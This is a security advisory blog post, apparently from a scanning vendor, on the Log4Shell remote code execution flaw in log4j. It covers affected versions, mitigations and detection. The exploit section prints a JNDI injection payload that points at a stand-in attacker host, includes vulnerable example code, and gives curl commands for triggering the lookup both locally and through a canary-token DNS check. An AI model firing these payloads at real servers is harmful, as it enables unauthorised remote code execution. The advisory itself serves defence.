Log4Shell: RCE 0-day exploit found in log4j, a popular Java logging package

December 9, 2021 · 11 min read

Free Wortley
CEO at LunaSec

Chris Thompson
Developer at LunaSec

Forrest Allison
Developer at LunaSec

Originally Posted @ December 9th & Last Updated @ August 1st, 3:30pm PDT

Fixing Log4Shell? Claim a free vulnerability scan on our dedicated security platform and generate a detailed report in minutes.

What is it?

On Thursday, December 9th a 0-day exploit in the popular Java logging library log4j (version 2), called Log4Shell, was discovered that results in Remote Code Execution (RCE) simply by logging a certain string.

Given how ubiquitous this library is, the severity of the exploit (full server control), and how easy it is to exploit of this vulnerability is quite severe.

The 0-day was tweeted along with a POC posted on GitHub. While we had initially given it the name "Log4Shell", the vulnerability has now been published as CVE-2021-44228 on NVD.

This post provides resources to help you understand the vulnerability and how to mitigate it.

This blog post is also available at https://log4shell.com/

Claim your free Log4Shell scan

If you're concerned that you may be impacted by Log4Shell, you can quickly run a free scan against your code by installing LunaTrace on GitHub or by downloading our scanning CLI tool from GitHub.

We're the experts that wrote those tools and, since we first wrote this post in December of 2021, we've successfully gone on to help thousands of companies, from startups to Fortune 500 companies, fix vulnerabilities like Log4Shell and Spring4Shell across their entire software stack.

Who is impacted?

Many, many services are vulnerable to this exploit. Cloud services like Steam, Apple iCloud, as well as apps like Minecraft, have already been found to be vulnerable.

An extensive list of responses from impacted organizations has been compiled here.

Anybody using Apache Struts is likely vulnerable. We've seen similar vulnerabilities exploited before in breaches like the 2017 Equifax data breach.

Many Open Source projects like the Minecraft server, Paper, have already begun patching their usage of `log4j2`.

Simply changing an iPhone's name has been shown to trigger the vulnerability in Apple's servers.

Updates (3 hours after posting): According to this blog post (see translation), JDK versions later than `8u191`, `7u201`, and `6u211` are not affected by the LDAP attack vector. In these versions `com.sun.jndi.ldap.object.trustURLCodebase` is set to `false` meaning JNDI cannot load remote code using LDAP, except in very specific cases. However, there are other attack vectors targeting this vulnerability which can result in RCE. An attacker could still leverage existing code on the server to execute a payload. An attack targeting the class `org.apache.naming.factory.BeanFactory`, present on Apache Tomcat servers, is discussed in this blog post. Also, there are some specific configurations where a remote JNDI fetch could still take place, as described in this post. Please update to the latest version of log4j for a more complete solution.

Log4Shell Migitation Guide

To quickly determine if you're impacted by Log4Shell you can check for free by installing LunaTrace on GitHub Marketplace which scan your code and generate a report.

For other scanning strategies to detect Log4Shell, please visit our Dedicated Log4Shell Migitation Guide with more resources.

Affected Apache log4j Versions

log4j v2

Almost all versions of log4j version 2 are affected.

`2.0-beta9 <= Apache log4j <= 2.14.1`

> ⚠ **LIMITED VULNERABILITIES FOUND IN `2.15.0` AND `2.16.0`**
>
> As of Tuesday, Dec 14, version `2.15.0` was found to still have a possible vulnerability in some apps. And, a few days later, a DOS vulnerability was found in `2.16.0` too.
>
> ~~We recommend updating to `2.16.0` which disables JNDI and completely removes `%m{lookups}`~~. (Updated: See below)

log4j v1

Version 1 of log4j is vulnerable to other RCE attacks, and if you're using it, you need to migrate to `2.17.0`.

Permanent Mitigation

For Current Information: We have written a comprehensive guide on log4j mitigation strategies.

Version `2.17.0` of log4j has been released without the RCE or DOS vulnerabilities. `log4j-core.jar` is available on Maven Central here, with [release notes] and [log4j security announcements].

The release can also be downloaded from the Apache Log4j Download page.

Temporary Mitigation

For Current Information: Please read our follow-up guide on log4j mitigation strategies.

> `formatMsgNoLookups` **DOES NOT PROTECT AGAINST ALL ATTACKS**
>
> As of Tuesday, Dec 14, it's been found that this flag is ineffective at stopping certain attacks, which is partially explained in CVE-2021-45046.
> You must update to `2.17.0`, or use the JNDI patches for temporary mitigation explained in our mitigation guide.

As per this discussion on HackerNews:

> The 'formatMsgNoLookups' property was added in version 2.10.0, per the JIRA Issue LOG4J2-2109 [1] that proposed it. Therefore the 'formatMsgNoLookups=true' mitigation strategy is available in version 2.10.0 and higher, but is no longer necessary with version 2.15.0, because it then becomes the default behavior [2][3].

If you are using a version older than 2.10.0 and cannot upgrade, your mitigation strategy must be to

Apply a custom logging pattern layout to say `%m{nolookups}` instead of `%m` in any logging configuration

~~See details at https://issues.apache.org/jira/browse/LOG4J2-2109 This only works on versions >= 2.7.~~ This is a bad strategy which will likely result in a vulnerability long-term.

- Substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class. Refer to your application or stack's classloading documentation to understand this behavior.

How the exploit works

Exploit Requirements

- A server with a vulnerable log4j version (listed above).
- An endpoint with any protocol (HTTP, TCP, etc), that allows an attacker to send the exploit string.
- A log statement that logs out the string from that request.

Example Vulnerable Code

```
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's x-api-version header and logs it back.
   * This is pseudo-code to explain the vulnerability, and not a full example.
```

```
    String apiVersion = he.getRequestHeader("X-Api-Version");

    // This line triggers the RCE by logging the attacker-controlled HTTP header.
    // The attacker can set their X-Api-Version header to: ${jndi:ldap://some-attacker.com/a}
    log.info("Requested Api Version:{}", apiVersion);

    String response = "<h1>Hello from: " + apiVersion + "!</h1>";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}
```

Reproducing Locally

If you want to reproduce this vulnerability locally, you can refer to christophetd's vulnerable app.

In a terminal run:

```
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
```

And in another:

```
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'
```

The logs should include an error message indicating that a remote lookup was attempted but failed:

```
2021-12-10 17:14:56,207 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0
```

Exploit Steps

1. Data from the User gets sent to the server (via any protocol).
2. The data containing the malicious payload from the request `${jndi:ldap://some-attacker.com/a}` where `some-attacker.com` is an attacker controlled server.
3. The log4j vulnerability is triggered by this payload and the server makes a request to `some-attacker.com` via "Java Naming and Directory Interface" (JNDI).
4. This response contains a path to a remote Java class file (ex. `http://second-stage.some-attacker.com/Exploit.class`), which is injected into the server process.
5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.

Due to how common Java vulnerabilities such as these are, security researchers have created tools to easily exploit them. The marshalsec project is one of many that demonstrates generating an exploit payload that could be used for this vulnerability. You can refer to this malicious LDAP server for an example of exploitation.

How to identify vulnerable remote servers

> **MAKE SURE THAT YOU HAVE PERMISSION FROM THE OWNER OF THE SERVER BEING PENETRATION TESTED.**

The simplest way to detect if a remote endpoint is vulnerable is to trigger a DNS query. As explained above, the exploit will cause the vulnerable server to attempt to fetch some remote code. By using the address of a free online DNS logging tool in the exploit string, we can detect when the vulnerability is triggered.

CanaryTokens.org is an Open Source web app for this purpose that even generates the exploit string automatically and sends an email notification when the DNS is queried. Select `Log4Shell` from the drop-down menu. Then, embed the string in a request field that you expect the server to log. This could be in anything from a form input to an HTTP header. In our example above, the X-Api-Version header was being logged. This request should trigger it:

```
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://x${hostName}.L4J.<RANDOM_STRING>.canarytoke
```

> **THESE REQUESTS MAY NOT BE PRIVATE**

More information

You can follow us on Twitter, or subscribe below, and we'll continue to update you as information about the impact of this exploit becomes available.

We have published a series of posts about Log4Shell on our blog that you might be interested in:

- **Mitigation Guide**
- **Explanation of the 2nd Log4j CVE**
- **Part 1: Log4Shell Live Patch (Background Context)**
- **Part 2: Log4Shell Live Patch (Technical Deep-Dive)**

Limit your vulnerability to future attacks

LunaSec offers a managed Vulnerability Scanning service called LunaTrace that automatically scans code for vulnerabilities, including Log4Shell, and that notifies you when new vulnerabilities are found. It's free to try out and, within a few minutes, you will be given a report with details about any vulnerabilities that were detected as well as details about how to fix them.

If you need more information or have any questions, please book a time with us or chat with us on Discord.

Stay Updated

For updates on Log4Shell, please follow us on Twitter or subscribe to our newsletter below.

Subscribe for updates

Email

Name (optional)

Links

- **Hacker News**
- **Reddit**
- **Twitter**

Edits

1. Updated the "Who is impacted?" section to include mitigating factors based on JDK version, while also suggesting other exploitation methods as still prevalent.
2. ~~Named the vulnerability "LogJam"~~ Added CVE, and added link to release tags.
3. Updated mitigation steps with newer information.
4. Removed the name "LogJam" because it's already been used. Using "Log4Shell" instead.
5. Update that 2.15.0 is released.
6. Added the MS Paint logo[4], and updated example code to be slightly more clear (it's not string concatenation).
7. Reported on iPhones being affected by the vulnerability, and included local reproduction code and steps.
8. Updated social info.
9. Updated example code to use Log4j2 syntax.
10. Updated title because of some confusion.
11. Better DNS testing site and explanation
12. Added link to the Log4Shell Mitigation Guide.
13. Add warnings about limited vuln in 2.15 / noMsgFormatLookups
14. Added link to 2nd CVE.
15. Updated contact information.

16. Updated original Twitter link from @P0rZ9 as the original tweet was deleted. Changed from `https://twitter.com/P0rZ9/status/1468949890571337731` to `https://web.archive.org/web/20211209230040/https://twitter.com/P0rZ9/status/1468949890571337731`.
17. Added links to other blog posts.
18. Updated post to include latest version 2.17.0 release.
19. Updated archived Twitter link as the original has no images anymore. Changed from `20211209230040` to `20211211082351`.
20. Rewrote some text to be easier to understand and updated resources to include references to LunaTrace.

Editing this post

If you have any updates or edits you'd like to make, you can edit this post as Markdown on GitHub. And please throw us a Star ⭐!

References

[1][JIRA LOG4J-2190](https://issues.apache.org/jira/browse/LOG4J2-2109)

[2][logging-log4j Github](https://github.com/apache/logging-log4j2/pull/607/files)

[3][JIRA LOG4J-3198](https://issues.apache.org/jira/browse/LOG4J2-3198)

[4] Kudos to @GossiTheDog for the MS Paint logo!

Also kudos to @80vul for tweeting about this.

Tags: zero-day security data-security guides log4shell

Edit this page

Newer Post

Older Post

More

Blog

Community

GitHub (Star Us)

Forums

LunaSec

Website

Contact Us